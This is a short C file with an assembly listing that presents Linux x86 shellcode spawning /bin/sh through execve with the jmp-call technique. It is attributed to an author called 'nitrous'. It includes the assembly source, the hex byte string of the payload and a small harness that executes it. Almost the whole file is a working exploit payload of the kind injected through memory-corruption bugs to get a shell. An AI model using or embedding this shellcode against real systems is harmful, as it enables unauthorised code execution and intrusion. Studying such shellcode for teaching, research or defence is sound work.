/*
-+[ execve("/bin/sh",{"/bin/sh",NULL},NULL}... jmp-call method
-+[ nitrous@danitrous.org
-+[ http://www.danitrous.org
date: 0x15/0xc/0x7d4

[nitrous@localhost execve]$ cat jmpcall.s
.text
.globl main
main:
        jmp eaea
exec:
        popl    %ebx
        xorl    %edx,%edx
        movb    %dl,7(%ebx)
        movl    %ebx,8(%ebx)
        movl    %edx,12(%ebx)
        leal    8(%ebx),%ecx
        pushl   $0xb
        popl    %eax
        int     $0x80
eaea:
        call exec
        .string "/bin/sh"
*/
char shellc0de[]=
"\xeb\x14\x5b\x31\xd2\x88\x53\x07"
"\x89\x5b\x08\x89\x53\x0c\x8d\x4b"
"\x08\x6a\x0b\x58\xcd\x80\xe8\xe7"
"\xff\xff\xff/bin/sh";

main()
{
	__asm__("call shellc0de");
}

